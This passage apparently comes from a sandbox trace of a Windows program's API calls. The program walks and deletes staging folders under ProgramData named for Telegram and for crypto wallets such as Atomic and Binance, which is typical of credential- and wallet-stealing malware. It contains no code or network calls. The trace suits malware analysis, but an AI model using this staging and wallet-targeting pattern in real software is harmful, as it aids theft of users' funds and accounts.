lpUsedDefaultChar=0x0) returned 10 [0149.461] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac30 | out: hHeap=0x2360000) returned 1 [0149.461] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\telegram"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.461] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba8a0 | out: hHeap=0x2360000) returned 1 [0149.461] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406c8 | out: hHeap=0x2360000) returned 1 [0149.461] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.461] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Telegram" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\telegram")) returned 0 [0149.462] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba198 | out: hHeap=0x2360000) returned 1 [0149.462] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19ef24 | out: lpFindFileData=0x19ef24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b782d35, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b782d35, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4b782d35, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wallets", cAlternateFileName="")) returned 1 [0149.462] lstrcpyW (in: lpString1=0x19f174, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files" [0149.462] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\" [0149.462] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\", lpString2="Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.462] lstrcpyW (in: lpString1=0x19f37c, lpString2="" | out: lpString1="") returned="" [0149.462] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0149.462] lstrcatW (in: lpString1="\\", lpString2="Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.462] lstrcmpW (lpString1="Wallets", lpString2=".") returned 1 [0149.462] lstrcmpW (lpString1="Wallets", lpString2="..") returned 1 [0149.462] lstrcpyW (in: lpString1=0x19ec04, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.462] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\*.*" [0149.462] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\*.*", lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b782d35, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b782d35, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e9309c4, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8823f0 [0149.462] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.462] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.463] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\." [0149.463] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.463] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.463] lstrcatW (in: lpString1="\\Wallets\\", lpString2="." | out: lpString1="\\Wallets\\.") returned="\\Wallets\\." [0149.463] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.463] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b782d35, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4b782d35, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e9309c4, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.463] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.463] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.463] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\.." [0149.463] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.463] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.463] lstrcatW (in: lpString1="\\Wallets\\", lpString2=".." | out: lpString1="\\Wallets\\..") returned="\\Wallets\\.." [0149.463] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.463] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.463] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92cf26, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92cf26, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92cf26, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Atomic", cAlternateFileName="")) returned 1 [0149.464] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.464] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.464] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="Atomic" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic" [0149.464] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.464] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.464] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Atomic" | out: lpString1="\\Wallets\\Atomic") returned="\\Wallets\\Atomic" [0149.464] lstrcmpW (lpString1="Atomic", lpString2=".") returned 1 [0149.464] lstrcmpW (lpString1="Atomic", lpString2="..") returned 1 [0149.464] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic" [0149.464] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\*.*" [0149.464] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92cf26, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92cf26, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92cf26, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882cf0 [0149.464] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic" [0149.464] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\" [0149.464] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\." [0149.464] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Atomic" | out: lpString1="\\Wallets\\Atomic") returned="\\Wallets\\Atomic" [0149.464] lstrcatW (in: lpString1="\\Wallets\\Atomic", lpString2="\\" | out: lpString1="\\Wallets\\Atomic\\") returned="\\Wallets\\Atomic\\" [0149.464] lstrcatW (in: lpString1="\\Wallets\\Atomic\\", lpString2="." | out: lpString1="\\Wallets\\Atomic\\.") returned="\\Wallets\\Atomic\\." [0149.465] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.465] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92cf26, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92cf26, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92cf26, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.465] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic" [0149.465] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\" [0149.465] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\", lpString2=".." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\..") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic\\.." [0149.465] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Atomic" | out: lpString1="\\Wallets\\Atomic") returned="\\Wallets\\Atomic" [0149.465] lstrcatW (in: lpString1="\\Wallets\\Atomic", lpString2="\\" | out: lpString1="\\Wallets\\Atomic\\") returned="\\Wallets\\Atomic\\" [0149.465] lstrcatW (in: lpString1="\\Wallets\\Atomic\\", lpString2=".." | out: lpString1="\\Wallets\\Atomic\\..") returned="\\Wallets\\Atomic\\.." [0149.465] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0149.465] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0149.466] FindNextFileW (in: hFindFile=0x882cf0, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92cf26, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92cf26, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92cf26, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.466] FindClose (in: hFindFile=0x882cf0 | out: hFindFile=0x882cf0) returned 1 [0149.466] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0149.466] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba468 [0149.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic", cchWideChar=62, lpMultiByteStr=0x32ba468, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic", lpUsedDefaultChar=0x0) returned 62 [0149.466] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba2b8 [0149.466] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x2360000) returned 1 [0149.466] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0149.466] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x23669a8 [0149.466] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19ee2c, cbMultiByte=4, lpWideCharStr=0x23669a8, cchWideChar=4 | out: lpWideCharStr="*.*") returned 4 [0149.466] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23669a8 | out: hHeap=0x2360000) returned 1 [0149.466] PathMatchSpecW (pszFile="Atomic", pszSpec="*.*") returned 1 [0149.466] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23636d0 [0149.466] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340650 [0149.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0149.466] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3e) returned 0x32ba1e0 [0149.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic", cchWideChar=62, lpMultiByteStr=0x32ba1e0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic", lpUsedDefaultChar=0x0) returned 62 [0149.467] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba6a8 [0149.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba1e0 | out: hHeap=0x2360000) returned 1 [0149.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Atomic", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.467] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ac00 [0149.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\\Wallets\\Atomic", cchWideChar=16, lpMultiByteStr=0x236ac00, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\Wallets\\Atomic", lpUsedDefaultChar=0x0) returned 16 [0149.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac00 | out: hHeap=0x2360000) returned 1 [0149.467] CreateFileA (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\atomic"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba6a8 | out: hHeap=0x2360000) returned 1 [0149.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340650 | out: hHeap=0x2360000) returned 1 [0149.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23636d0 | out: hHeap=0x2360000) returned 1 [0149.467] DeleteFileW (lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Atomic" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\wallets\\atomic")) returned 0 [0149.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba2b8 | out: hHeap=0x2360000) returned 1 [0149.467] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19e5a4 | out: lpFindFileData=0x19e5a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92f6a6, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92f6a6, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92f6a6, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Binance", cAlternateFileName="")) returned 1 [0149.467] lstrcpyW (in: lpString1=0x19e7f4, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets" [0149.467] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\" [0149.468] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\", lpString2="Binance" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance" [0149.468] lstrcpyW (in: lpString1=0x19e9fc, lpString2="\\Wallets" | out: lpString1="\\Wallets") returned="\\Wallets" [0149.468] lstrcatW (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\" [0149.468] lstrcatW (in: lpString1="\\Wallets\\", lpString2="Binance" | out: lpString1="\\Wallets\\Binance") returned="\\Wallets\\Binance" [0149.468] lstrcmpW (lpString1="Binance", lpString2=".") returned 1 [0149.468] lstrcmpW (lpString1="Binance", lpString2="..") returned 1 [0149.468] lstrcpyW (in: lpString1=0x19e284, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance" [0149.468] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\*.*") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\*.*" [0149.468] FindFirstFileW (in: lpFileName="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\*.*", lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92f6a6, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92f6a6, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92f6a6, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882f30 [0149.468] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance" [0149.468] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\" [0149.468] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\", lpString2="." | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\.") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\." [0149.468] lstrcpyW (in: lpString1=0x19e07c, lpString2="\\Wallets\\Binance" | out: lpString1="\\Wallets\\Binance") returned="\\Wallets\\Binance" [0149.468] lstrcatW (in: lpString1="\\Wallets\\Binance", lpString2="\\" | out: lpString1="\\Wallets\\Binance\\") returned="\\Wallets\\Binance\\" [0149.469] lstrcatW (in: lpString1="\\Wallets\\Binance\\", lpString2="." | out: lpString1="\\Wallets\\Binance\\.") returned="\\Wallets\\Binance\\." [0149.469] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0149.469] FindNextFileW (in: hFindFile=0x882f30, lpFindFileData=0x19dc24 | out: lpFindFileData=0x19dc24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e92f6a6, ftCreationTime.dwHighDateTime=0x1d7b434, ftLastAccessTime.dwLowDateTime=0x4e92f6a6, ftLastAccessTime.dwHighDateTime=0x1d7b434, ftLastWriteTime.dwLowDateTime=0x4e92f6a6, ftLastWriteTime.dwHighDateTime=0x1d7b434, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.469] lstrcpyW (in: lpString1=0x19de74, lpString2="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance") returned="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance" [0149.469] lstrcatW (in: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance", lpString2="\\" | out: lpString1="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X\\files\\Wallets\\Binance\\") 